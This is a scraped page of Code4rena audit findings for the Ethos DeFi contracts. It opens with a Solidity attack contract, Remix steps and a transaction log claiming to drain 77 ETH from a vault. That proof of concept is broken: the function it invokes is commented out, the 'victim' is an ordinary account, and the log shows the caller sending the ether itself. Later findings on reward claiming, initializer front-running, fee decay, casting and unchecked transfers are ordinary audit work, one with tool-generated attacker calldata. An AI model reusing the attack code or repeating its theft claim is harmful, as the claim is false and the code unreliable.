pragma solidity >=0.6.0<0.9.0;

import "./interfaces/IERC4626Events.sol";
import "./interfaces/IStrategy.sol";
import "./libraries/ReaperMathUtils.sol";
import "./mixins/ReaperAccessControl.sol";
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";

import "./ReaperVaultV2.sol";

contract ReaperVaultV2x  {

    struct StrategyParams {
        uint256 activation; // Activation block.timestamp
        uint256 feeBPS; // Performance fee taken from profit, in BPS
        uint256 allocBPS; // Allocation in BPS of vault's total assets
        uint256 allocated; // Amount of capital allocated to this strategy
        uint256 gains; // Total returns that Strategy has realized for Vault
        uint256 losses; // Total losses that Strategy has realized for Vault
        uint256 lastReport; // block.timestamp of the last time a report occured
    }

    mapping(address => StrategyParams) public strategies;
    address[] public withdrawalQueue;
    uint256 public constant DEGRADATION_COEFFICIENT = 10**18; // The unit for calculating profit degradation.
    uint256 public constant PERCENT_DIVISOR = 10000;
    uint256 public tvlCap;
    uint256 public totalAllocBPS; // Sum of allocBPS across all strategies (in BPS, <= 10k)
    uint256 public totalAllocated; // Amount of tokens that have been allocated to all strategies
    uint256 public lastReport; // block.timestamp of last report from any strategy
    uint256 public constructionTime;
    bool public emergencyShutdown;
    //IERC20Metadata public token;
    uint256 public withdrawMaxLoss = 1;
    uint256 public lockedProfitDegradation; // rate per block of degradation. DEGRADATION_COEFFICIENT is 100% per block
    uint256 public lockedProfit; // how much profit is locked and cant be withdrawn
    bytes32 public constant DEPOSITOR = keccak256("DEPOSITOR");
    bytes32 public constant STRATEGIST = keccak256("STRATEGIST");
    bytes32 public constant GUARDIAN = keccak256("GUARDIAN");
    bytes32 public constant ADMIN = keccak256("ADMIN");
    address public treasury; // address to whom performance fee is remitted in the form of vault shares

    ReaperVaultV2 public aaa;

    constructor(ReaperVaultV2 _aaa) public payable {
        aaa = ReaperVaultV2(_aaa);
    }

    function addStrategy(
        address _strategy,
        uint256 _feeBPS,
        uint256 _allocBPS
    ) external payable {
        aaa.addStrategy(address(aaa), uint256(77), uint256(77));
    }


    function updateStrategyFeeBPS(address _strategy, uint256 _feeBPS) external payable {
        aaa.updateStrategyFeeBPS(address(aaa), uint256(77));
    }


    function updateStrategyAllocBPS(address _strategy, uint256 _allocBPS) external payable {
        aaa.updateStrategyAllocBPS(address(aaa), uint256(77));
    }

    function revokeStrategy(address _strategy) external payable {
        aaa.revokeStrategy(address(aaa));
    }

    function availableCapital() public payable returns (int256) {
        aaa.availableCapital();
        return aaa.availableCapital();
    }

    function setWithdrawalQueue(address[] calldata _withdrawalQueue) external payable {
        //aaa.setWithdrawalQueue(address[]);
    }

    function balance() public payable returns (uint256) {
        aaa.balance();
        return aaa.balance();
    }

    function _freeFunds() external payable returns (uint256) {
        //aaa._freeFunds();
        //return aaa._freeFunds();
    }


    function getPricePerFullShare() public payable returns (uint256) {
        aaa.getPricePerFullShare();
        return aaa.getPricePerFullShare();
    }

    function depositAll() external payable {
        aaa.depositAll();
    }

    function deposit(uint256 _amount) external payable {
        aaa.deposit(uint256(77));
    }

    function _deposit(uint256 _amount, address _receiver) external payable returns (uint256 shares) {
        //aaa._deposit(uint256(77), address(aaa));
        //return aaa._deposit(uint256(77), address(aaa));
    }


    function withdrawAll() external payable {
        aaa.withdrawAll();
    }

    function withdraw(uint256 _shares) external payable {
        aaa.withdraw(uint256(77));
    }

    function _withdraw(
        uint256 _shares,
        address _receiver,
        address _owner
    ) external payable returns (uint256 value) {
       // _withdraw(uint256(77), address(aaa), address(aaa));
       // return _withdraw(uint256(77), address(aaa), address(aaa));
    }

    function _calculateLockedProfit() external payable returns (uint256) {
       // aaa._calculateLockedProfit();
       // return aaa._calculateLockedProfit();
    }

    function _reportLoss(address strategy, uint256 loss) external payable {
        // _reportLoss(address strategy, uint256 loss)
    }


    function _chargeFees(address strategy, uint256 gain) external payable returns (uint256) {
        //_chargeFees(address strategy, uint256 gain);
        //return _chargeFees(address strategy, uint256 gain);
    }

    struct LocalVariables_report {
        address stratAddr;
        uint256 loss;
        uint256 gain;
        uint256 fees;
        int256 available;
        uint256 debt;
        uint256 credit;
        uint256 debtPayment;
        uint256 freeWantInStrat;
        uint256 lockedProfitBeforeLoss;
    }


    function report(int256 _roi, uint256 _repayment) external payable returns (uint256) {
        aaa.report(int256(77), uint256(77));
        return aaa.report(int256(77), uint256(77));
    }


    function updateWithdrawMaxLoss(uint256 _withdrawMaxLoss) external payable {
        aaa.updateWithdrawMaxLoss(uint256(77));
    }


    function updateTvlCap(uint256 _newTvlCap) public payable {
        aaa.updateTvlCap(uint256(77));
    }


    function removeTvlCap() external payable {
        aaa.removeTvlCap();
    }


    function setEmergencyShutdown(bool _active) external payable {
        aaa.setEmergencyShutdown(bool(true));
    }


    function setLockedProfitDegradation(uint256 degradation) external payable {
        aaa.setLockedProfitDegradation(uint256(77));
    }

    function updateTreasury(address newTreasury) external payable {
        aaa.updateTreasury(address(aaa));
    }

    function inCaseTokensGetStuck(address _token) external payable {
        aaa.inCaseTokensGetStuck(address(aaa));
    }


    function decimals() public payable returns (uint8) {
        aaa.decimals();
        return aaa.decimals();
    }


    function _cascadingAccessRoles() external payable returns (bytes32[] memory) {
        //aaa._cascadingAccessRoles();
        //return aaa._cascadingAccessRoles();
    }


    function _hasRole(bytes32 _role, address _account) external payable returns (bool) {
        //aaa._hasRole(bytes32("0xhe3xhe3xhe3xhe3xhe3xhe3xhe3xhe"), address(aaa));
        //return aaa._hasRole(bytes32("0xhe3xhe3xhe3xhe3xhe3xhe3xhe3xhe"), address(aaa));
    }

    fallback() external payable {
        aaa.addStrategy(address(aaa), uint256(77), uint256(77));
        aaa.updateStrategyFeeBPS(address(aaa), uint256(77));
        aaa.updateStrategyAllocBPS(address(aaa), uint256(77));
        aaa.revokeStrategy(address(aaa));
        aaa.availableCapital();
        aaa.balance();
        aaa.getPricePerFullShare();
        aaa.depositAll();
        aaa.deposit(uint256(77));
        aaa.withdrawAll();
        aaa.withdraw(uint256(77));
        aaa.report(int256(77), uint256(77));
        aaa.updateWithdrawMaxLoss(uint256(77));    
        aaa.updateTvlCap(uint256(77));
        aaa.removeTvlCap();
        aaa.setEmergencyShutdown(bool(true));
        aaa.setLockedProfitDegradation(uint256(77));
        aaa.updateTreasury(address(aaa));
        aaa.inCaseTokensGetStuck(address(aaa));
        aaa.decimals();
    }

    receive() external payable {
        aaa.addStrategy(address(aaa), uint256(77), uint256(77));
        aaa.updateStrategyFeeBPS(address(aaa), uint256(77));
        aaa.updateStrategyAllocBPS(address(aaa), uint256(77));
        aaa.revokeStrategy(address(aaa));
        aaa.availableCapital();
        aaa.balance();
        aaa.getPricePerFullShare();
        aaa.depositAll();
        aaa.deposit(uint256(77));
        aaa.withdrawAll();
        aaa.withdraw(uint256(77));
        aaa.report(int256(77), uint256(77));
        aaa.updateWithdrawMaxLoss(uint256(77));    
        aaa.updateTvlCap(uint256(77));
        aaa.removeTvlCap();
        aaa.setEmergencyShutdown(bool(true));
        aaa.setLockedProfitDegradation(uint256(77));
        aaa.updateTreasury(address(aaa));
        aaa.inCaseTokensGetStuck(address(aaa));
        aaa.decimals();
    }

    function attack() public payable {
        address(aaa).delegatecall(abi.encodeWithSignature("fallback()"));
        address(aaa).delegatecall(abi.encodeWithSignature("receive()"));
    }

}
# Prep:
Victim Contract
1. recreate the following contract in Remix IDE "ReaperVaultV2.sol"
2. compile contract
3. go to deploy and run transactions tab
4. set environment to Remix VM (Berlin)
5. select first account from drop down and copy its address
6. next to "At Address" button paste the address in and click "At Address" button and contract is deployed with 100 ETH. 

Attack Contract
7. In Remix IDE recreate my PoC code above and save as a contract called "ReaperVaultV2x.sol"
8. compile contract.
9. go to deploy and run transactions tab
10. set environment to Remix VM (Berlin). And set the value to 10 and the drop list to Ether.
11. select second account from drop down and copy the address of the first account
12. next to the "Deploy" button paste the first address of the victim and click the "deploy" button and contract is deployed
13. The select first account from "Account" drop list before next step.

Action
NB:
victim contract address 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
attack contract address 0xa131AD247055FD2e2aA8b156A11bdEc81b9eAD95

1. start balance of victim contract Balance: 100 ETH
2. start balance of attack contract Balance: 10 ETH
3. in deploy tab select victim contract.
4. in deploy tab under value enter 77 ether
5. under deploy tab within the ReaperVaultV2x.sol attack contract> go to function button called _withdraw() and in the input box enter 77 for _shares, and enter attacker contract address for _receiver e.g. 0xa131AD247055FD2e2aA8b156A11bdEc81b9eAD95 and enter victim contract address for _owner e.g. 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4. 
6. then click on _withdraw button or transact button if you have opened the drop down.
7. end balance of victim contract Balance: 22.999999999999976958 ETH
8. end balance of attack contract Balance: 87 ETH
9. Finally, 77 ETHER has been deducted from victim contract and deposited into attacker contract.  
10. The gas is charged to the victim contract.  Theft of gas.
# Log:
transact to ReaperVaultV2x._withdraw pending ... 
[vm]from: 0x5B3...eddC4to: ReaperVaultV2x._withdraw(uint256,address,address) 0xa13...eAD95value: 77000000000000000000 weidata: 0x0ca...eddc4logs: 0hash: 0x4db...e9ebe
status	true Transaction mined and execution succeed
transaction hash	0x4dbdb451f207944c5229cda918f51fdfcf4413acea3d1d86e21c955c5e0e9ebe
from	0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
to	ReaperVaultV2x._withdraw(uint256,address,address) 0xa131AD247055FD2e2aA8b156A11bdEc81b9eAD95
gas	26499 gas
transaction cost	23042 gas 
execution cost	1102 gas 
input	0x0ca...eddc4
decoded input	{
	"uint256 _shares": "77",
	"address _receiver": "0xa131AD247055FD2e2aA8b156A11bdEc81b9eAD95",
	"address _owner": "0x5B38Da6a701c568545dCfcB03FcB875f56beddC4"
}
decoded output	{
	"0": "uint256: value 0"
}
logs	[]
val	77000000000000000000 wei

Tools Used

Remix IDE VM Unit testing deployment in enclosed environment with a git clone of repository.

Recommended Mitigation Steps

Implement controls so withdrawals can only be triggered by authorized parties or according to the specs of the smart contract system.

Agreements & Disclosures

Agreements

If you are a C4 Certified Contributor by commenting or interacting with this repo prior to public release of the contest report, you agree that you have read the Certified Warden docs and agree to be bound by:

To signal your agreement to these terms, add a 👍 emoji to this issue.

Code4rena staff reserves the right to disqualify anyone from this role and similar future opportunities who is unable to participate within the above guidelines.

Disclosures

Sponsors may elect to add team members and contractors to assist in sponsor review and triage. All sponsor representatives added to the repo should comment on this issue to identify themselves.

To ensure contest integrity, the following potential conflicts of interest should also be disclosed with a comment in this issue:

  1. any sponsor staff or sponsor contractors who are also participating as wardens
  2. any wardens hired to assist with sponsor review (and thus presenting sponsor viewpoint on findings)
  3. any wardens who have a relationship with a judge that would typically fall in the category of potential conflict of interest (family, employer, business partner, etc)
  4. any other case where someone might reasonably infer a possible conflict of interest.

openTrove() fails to claim rewards for the user.

Lines of code

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/BorrowerOperations.sol#L172-L239

Vulnerability details

Impact

Detailed description of the impact of this finding.
openTrove() fails to claim rewards for the user. Therefore, the user will lose some reward funds.

Proof of Concept

Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.

We show below how openTrove() fails to claim rewards for the user.

  1. First of all, openTrove() does not check whether a Trove already exists for the user, therefore, it will operate over an existing Trove. It the design is to prevent people from using openTrove() on an existing Trove, then the existence check should be done. However, current design allows one to operate on an existing trove.

  2. When a user calls openTrove(), it does not call troveManager.applyPendingRewards() to apply for the rewards (both adjustTrove() and closeTrove() have done so). Meanwhile, troveManager.updateTroveRewardSnapshots() is called to sync the new snapshots. As a result, users will lose the rewards since the last call of troveManager.updateTroveRewardSnapshots() till now.

 function openTrove(address _collateral, uint _collAmount, uint _maxFeePercentage, uint _LUSDAmount, address _upperHint, address _lowerHint) external override {
        _requireValidCollateralAddress(_collateral);
        _requireSufficientCollateralBalanceAndAllowance(msg.sender, _collateral, _collAmount);
        ContractsCache memory contractsCache = ContractsCache(troveManager, activePool, lusdToken);
        LocalVariables_openTrove memory vars;

        vars.collCCR = collateralConfig.getCollateralCCR(_collateral);
        vars.collMCR = collateralConfig.getCollateralMCR(_collateral);
        vars.collDecimals = collateralConfig.getCollateralDecimals(_collateral);
        vars.price = priceFeed.fetchPrice(_collateral);
        bool isRecoveryMode = _checkRecoveryMode(_collateral, vars.price, vars.collCCR, vars.collDecimals);

        _requireValidMaxFeePercentage(_maxFeePercentage, isRecoveryMode);
        _requireTroveisNotActive(contractsCache.troveManager, msg.sender, _collateral);

        vars.netDebt = _LUSDAmount;

        if (!isRecoveryMode) {
            vars.LUSDFee = _triggerBorrowingFee(contractsCache.troveManager, contractsCache.lusdToken, _LUSDAmount, _maxFeePercentage);
            vars.netDebt = vars.netDebt.add(vars.LUSDFee);
        }
        _requireAtLeastMinNetDebt(vars.netDebt);

        // ICR is based on the composite debt, i.e. the requested LUSD amount + LUSD borrowing fee + LUSD gas comp.
        vars.compositeDebt = _getCompositeDebt(vars.netDebt);
        assert(vars.compositeDebt > 0);
        
        vars.ICR = LiquityMath._computeCR(_collAmount, vars.compositeDebt, vars.price, vars.collDecimals);
        vars.NICR = LiquityMath._computeNominalCR(_collAmount, vars.compositeDebt, vars.collDecimals);

        if (isRecoveryMode) {
            _requireICRisAboveCCR(vars.ICR, vars.collCCR);
        } else {
            _requireICRisAboveMCR(vars.ICR, vars.collMCR);
            uint newTCR = _getNewTCRFromTroveChange(
                _collateral,
                _collAmount,
                true, // coll increase
                vars.compositeDebt,
                true, // debt increase
                vars.price,
                vars.collDecimals
            );
            _requireNewTCRisAboveCCR(newTCR, vars.collCCR);
        }

        // Set the trove struct's properties
        contractsCache.troveManager.setTroveStatus(msg.sender, _collateral, 1);
        contractsCache.troveManager.increaseTroveColl(msg.sender, _collateral, _collAmount);
        contractsCache.troveManager.increaseTroveDebt(msg.sender, _collateral, vars.compositeDebt);

        contractsCache.troveManager.updateTroveRewardSnapshots(msg.sender, _collateral);
        vars.stake = contractsCache.troveManager.updateStakeAndTotalStakes(msg.sender, _collateral);

        sortedTroves.insert(_collateral, msg.sender, vars.NICR, _upperHint, _lowerHint);
        vars.arrayIndex = contractsCache.troveManager.addTroveOwnerToArray(msg.sender, _collateral);
        emit TroveCreated(msg.sender, _collateral, vars.arrayIndex);

        // Pull collateral, move it to the Active Pool, and mint the LUSDAmount to the borrower
        IERC20(_collateral).safeTransferFrom(msg.sender, address(this), _collAmount);
        _activePoolAddColl(contractsCache.activePool, _collateral, _collAmount);
        _withdrawLUSD(contractsCache.activePool, contractsCache.lusdToken, _collateral, msg.sender, _LUSDAmount, vars.netDebt);
        // Move the LUSD gas compensation to the Gas Pool
        _withdrawLUSD(contractsCache.activePool, contractsCache.lusdToken, _collateral, gasPoolAddress, LUSD_GAS_COMPENSATION, LUSD_GAS_COMPENSATION);

        emit TroveUpdated(msg.sender, _collateral, vars.compositeDebt, _collAmount, vars.stake, BorrowerOperation.openTrove);
        emit LUSDBorrowingFeePaid(msg.sender, _collateral, vars.LUSDFee);
    }

Tools Used

Remix, VScode

Recommended Mitigation Steps

We need to call troveManager.applyPendingRewards() in the beginning for openTrove().

 function openTrove(address _collateral, uint _collAmount, uint _maxFeePercentage, uint _LUSDAmount, address _upperHint, address _lowerHint) external override {
        _requireValidCollateralAddress(_collateral);
        _requireSufficientCollateralBalanceAndAllowance(msg.sender, _collateral, _collAmount);
        ContractsCache memory contractsCache = ContractsCache(troveManager, activePool, lusdToken);
        LocalVariables_openTrove memory vars;

        vars.collCCR = collateralConfig.getCollateralCCR(_collateral);
        vars.collMCR = collateralConfig.getCollateralMCR(_collateral);
        vars.collDecimals = collateralConfig.getCollateralDecimals(_collateral);
        vars.price = priceFeed.fetchPrice(_collateral);
        bool isRecoveryMode = _checkRecoveryMode(_collateral, vars.price, vars.collCCR, vars.collDecimals);

        _requireValidMaxFeePercentage(_maxFeePercentage, isRecoveryMode);
        _requireTroveisNotActive(contractsCache.troveManager, msg.sender, _collateral);

        vars.netDebt = _LUSDAmount;

+      contractsCache.troveManager.applyPendingRewards(_borrower, _collateral);

        if (!isRecoveryMode) {
            vars.LUSDFee = _triggerBorrowingFee(contractsCache.troveManager, contractsCache.lusdToken, _LUSDAmount, _maxFeePercentage);
            vars.netDebt = vars.netDebt.add(vars.LUSDFee);
        }
        _requireAtLeastMinNetDebt(vars.netDebt);

        // ICR is based on the composite debt, i.e. the requested LUSD amount + LUSD borrowing fee + LUSD gas comp.
        vars.compositeDebt = _getCompositeDebt(vars.netDebt);
        assert(vars.compositeDebt > 0);
        
        vars.ICR = LiquityMath._computeCR(_collAmount, vars.compositeDebt, vars.price, vars.collDecimals);
        vars.NICR = LiquityMath._computeNominalCR(_collAmount, vars.compositeDebt, vars.collDecimals);

        if (isRecoveryMode) {
            _requireICRisAboveCCR(vars.ICR, vars.collCCR);
        } else {
            _requireICRisAboveMCR(vars.ICR, vars.collMCR);
            uint newTCR = _getNewTCRFromTroveChange(
                _collateral,
                _collAmount,
                true, // coll increase
                vars.compositeDebt,
                true, // debt increase
                vars.price,
                vars.collDecimals
            );
            _requireNewTCRisAboveCCR(newTCR, vars.collCCR);
        }

        // Set the trove struct's properties
        contractsCache.troveManager.setTroveStatus(msg.sender, _collateral, 1);
        contractsCache.troveManager.increaseTroveColl(msg.sender, _collateral, _collAmount);
        contractsCache.troveManager.increaseTroveDebt(msg.sender, _collateral, vars.compositeDebt);

        contractsCache.troveManager.updateTroveRewardSnapshots(msg.sender, _collateral);
        vars.stake = contractsCache.troveManager.updateStakeAndTotalStakes(msg.sender, _collateral);

        sortedTroves.insert(_collateral, msg.sender, vars.NICR, _upperHint, _lowerHint);
        vars.arrayIndex = contractsCache.troveManager.addTroveOwnerToArray(msg.sender, _collateral);
        emit TroveCreated(msg.sender, _collateral, vars.arrayIndex);

        // Pull collateral, move it to the Active Pool, and mint the LUSDAmount to the borrower
        IERC20(_collateral).safeTransferFrom(msg.sender, address(this), _collAmount);
        _activePoolAddColl(contractsCache.activePool, _collateral, _collAmount);
        _withdrawLUSD(contractsCache.activePool, contractsCache.lusdToken, _collateral, msg.sender, _LUSDAmount, vars.netDebt);
        // Move the LUSD gas compensation to the Gas Pool
        _withdrawLUSD(contractsCache.activePool, contractsCache.lusdToken, _collateral, gasPoolAddress, LUSD_GAS_COMPENSATION, LUSD_GAS_COMPENSATION);

        emit TroveUpdated(msg.sender, _collateral, vars.compositeDebt, _collAmount, vars.stake, BorrowerOperation.openTrove);
        emit LUSDBorrowingFeePaid(msg.sender, _collateral, vars.LUSDFee);
    }

Front-Running Attacks against Initializable Contracts

Lines of code

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/ActivePool.sol#L71-L123

Vulnerability details

Impact

" // --- Contract setters ---", according to this comment by the devs function setAddresses() functions like a form of constructor. BUT Initializable contracts can be front-run.

Imagine I have a contract where the initializer sets important variables like, say, collateralConfigAddress, poolAddress. When deploying a proxy, first set the implementation to initializable contract in transaction A, then call the initializer to set important variables in transaction B.

A -> B

An attacker can create a transaction M that calls setAddresses() with malicious values and manages to get the transactions to execute in order

A -> M -> B

in which case the attacker’s malicious values will be set and transaction B will fail.

Proof of Concept

https://medium.com/@Railgun_Project/using-upgradable-proxies-safely-in-solidity-e60d9ee31376

Tools Used

Manual Review

Recommended Mitigation Steps

  1. verify after deployment - The simplest way to mitigate this attack is to check after deployment if a malicious initialization transaction has front-run the legitimate transaction.
  2. Only allow calls to initializer from a single address - This can be useful if you know that you will be the only person initializing all instances of a contract, however, if you expect your contract to be initialized by 3rd parties (such as with lightweight clones like in Uniswap) then this method can’t be used.
  3. Include initialization call in your proxy setup - This involves including a call to the contract implementation initializer in your Proxy’s setup function. This will ensure that steps A and B are taken in the same transaction so an attacker can’t include a malicious transaction between these steps.

QA Report

See the markdown file with the details of this report here.

``lastFeeOperationTime`` is not modified correctly in function ``_updateLastFeeOpTime()``, resuling a much slower decay model for borrowing base rate

Lines of code

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/TroveManager.sol#L1500-L1507

Vulnerability details

Impact

Detailed description of the impact of this finding.
lastFeeOperationTime is not modified correctly in function _updateLastFeeOpTime(). As a result, decayBaseRateFromBorrowing() will decay the base rate more slowly than expected (worst case half slower).

Since borrowing base rate is so fundamental to the protocol, I would rate this finding as H.

Proof of Concept

Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.

We show how decayBaseRateFromBorrowing() will decay the base rate more slowly than expected because of the wrong modification of lastFeeOperationTime in _updateLastFeeOpTime():

  1. decayBaseRateFromBorrowing() calls _calcDecayedBaseRate() to calculate the decayed base rate based how many minutes elapsed since last recorded lastFeeOperationTime.
function decayBaseRateFromBorrowing() external override {
        _requireCallerIsBorrowerOperations();

        uint decayedBaseRate = _calcDecayedBaseRate();
        assert(decayedBaseRate <= DECIMAL_PRECISION);  // The baseRate can decay to 0

        baseRate = decayedBaseRate;
        emit BaseRateUpdated(decayedBaseRate);

        _updateLastFeeOpTime();
    }

   function _calcDecayedBaseRate() internal view returns (uint) {
        uint minutesPassed = _minutesPassedSinceLastFeeOp();
        uint decayFactor = LiquityMath._decPow(MINUTE_DECAY_FACTOR, minutesPassed);

        return baseRate.mul(decayFactor).div(DECIMAL_PRECISION);
    }

 function _minutesPassedSinceLastFeeOp() internal view returns (uint) {
        return (block.timestamp.sub(lastFeeOperationTime)).div(SECONDS_IN_ONE_MINUTE);
 }
  1. decayBaseRateFromBorrowing() then calls _updateLastFeeOpTime() to set lastFeeOperationTime to the current time if at least 1 minute pass.
 function _updateLastFeeOpTime() internal {
        uint timePassed = block.timestamp.sub(lastFeeOperationTime);

        if (timePassed >= SECONDS_IN_ONE_MINUTE) {
            lastFeeOperationTime = block.timestamp;
            emit LastFeeOpTimeUpdated(block.timestamp);
        }
    }
  1. The problem with such an update of lastFeeOperationTime is, if 1.999 minutes had passed, the base rate will only decay for 1 minute, at the same time, 1.999 minutes will be added onlastFeeOperationTime. In other words, in a worst scenario, for every 1.999 minutes, the base rate will only decay for 1 minute. Therefore, the base rate will decay more slowly then expected.

  2. The borrowing base rate is very fundamental to the whole protocol. Any small deviation is accumulative. In the worse case, the decay speed will slow down by half; on average, it will be 0.75 slower.

Tools Used

VSCode

Recommended Mitigation Steps

Using the effective elapsed time that is consumed by the model so far to revise lastFeeOperationTime.

 function _updateLastFeeOpTime() internal {
        uint timePassed = block.timestamp.sub(lastFeeOperationTime);

        if (timePassed >= SECONDS_IN_ONE_MINUTE) {
-            lastFeeOperationTime = block.timestamp;
+            lastFeeOperationTime += _minutesPassedSinceLastFeeOp()*SECONDS_IN_ONE_MINUTE;
            emit LastFeeOpTimeUpdated(block.timestamp);
        }
    }

Unsafe Type Cast from `uint256` to `int256`

Lines of code

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/ActivePool.sol#L277

Vulnerability details

Impact

The netAssetMovement calculation could result in an unexpected value given an extreme edge case.

Proof of Concept

If vars.toDeposit, vars.toWithdraw, or vars.profit are able to be filled with large values that are greater than type(uint128).max, the value will turn into a negative number due to two's compliments. A simple example of the issue is displayed below. uint128 max becomes negative 1 when cast as an int128()

➜ type(uint128).max
Type: uint
├ Hex: 0xffffffffffffffffffffffffffffffff
└ Decimal: 340282366920938463463374607431768211455

➜ int128(type(uint128).max)
Type: int
├ Hex: 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
└ Decimal: -1

This example does take some liberties in demonstrating an extreme case.

Tools Used

Manual Review, chisel

Recommended Mitigation Steps

Utilize the SafeCast library for handling data type casting safely.

QA Report

See the markdown file with the details of this report here.

transferFrom result is not checked Instances

Lines of code

https://github.com/code-423n4/2023-02-ethos/blob/main/Ethos-Core/contracts/LQTY/CommunityIssuance.sol#L103

Vulnerability details

Impact

Upon successful completion, the transferFrom method returns a boolean value. To determine whether the transfer was successful, this metric must be examined.

If the transfer fails, certain tokens return false rather than reverting. Even when a token returns false and doesn't really complete the transfer, it is still considered a successful transfer.

Some examples are EURS and BAT that return false instead of reverting but the transaction will still be counted as successful.

Proof of Concept

Ethos-Core/contracts/LQTY/CommunityIssuance.sol#L103

OathToken.transferFrom(msg.sender, address(this), amount);

Tools Used

Manual Review

Recommended Mitigation Steps

It is reccomended to the value of transferFrom. Alternatively, it is advised to use OpenZeppelin's SafeERC20. An exampe is the following:

import {SafeERC20} from "openzeppelin/token/utils/SafeERC20.sol";

// ...

OathToken.safeTransferFrom(msg.sender, address(this), amount);

QA Report

See the markdown file with the details of this report here.

QA Report

See the markdown file with the details of this report here.

Integer Arithmetic Bugs

Lines of code

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/ActivePool.sol#L145

Vulnerability details

==== Integer Arithmetic Bugs ====

SWC ID: 101

Severity: High

Contract: ActivePool

Function name: setYieldDistributionParams(uint256,uint256,uint256)

PC address: 4176

Estimated Gas Usage: 17171 - 78323

The arithmetic operator can overflow.

It is possible to cause an integer overflow or underflow in the arithmetic operation.


In file: ActivePool.sol:145

_treasurySplit + _SPSplit


Initial State:

Account: [CREATOR], balance: 0x0, nonce:0, storage:{}

Account: [ATTACKER], balance: 0x0, nonce:0, storage:{}

Transaction Sequence:

Caller: [CREATOR], calldata: , decoded_data: , value: 0x0

Caller: [CREATOR], function: setYieldDistributionParams(uint256,uint256,uint256), txdata: 0x46a8044180579d4ce49496a42065c49197288b81981913231f77f3c18291299008ac049380bbf2d5252dd176ee2a6b770aed78eecded6d3941101866be779a9797a43c00feec6fddf63d97e4f16fcff75de9fb8f99f97fa39f77f3d7bef73bd85fafe67d, decoded_data: (58050845960498538210420122821026037615187037932843982638369779925311927616659, 58228120988771622315535945020214901155143074567145864195169138955862818438144, 115305211525362230321185902176134876936209856831291281245376249134651513235069), value: 0x0

==== Integer Arithmetic Bugs ====

SWC ID: 101

Severity: High

Contract: ActivePool

Function name: setYieldDistributionParams(uint256,uint256,uint256)

PC address: 4177

Estimated Gas Usage: 17171 - 78323

The arithmetic operator can overflow.

It is possible to cause an integer overflow or underflow in the arithmetic operation.


In file: ActivePool.sol:145

_treasurySplit + _SPSplit + _stakingSplit


Initial State:

Account: [CREATOR], balance: 0x0, nonce:0, storage:{}

Account: [ATTACKER], balance: 0x0, nonce:0, storage:{}

Transaction Sequence:

Caller: [CREATOR], calldata: , decoded_data: , value: 0x0

Caller: [CREATOR], function: setYieldDistributionParams(uint256,uint256,uint256), txdata: 0x46a80441a000000000000000000000000000000000000000000000000000000000000710e0000000000000000000000000000000000000000000000000000000000020008000000000000000000000000000000000000000000000000000000000000000, decoded_data: (72370055773322622139731865630429942408293740416025352524660990004945706026768, 101318078082651670995624611882601919371611236582435493534525386006923988443136, 57896044618658097711785492504343953926634992332820282019728792003956564819968), value: 0x0

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.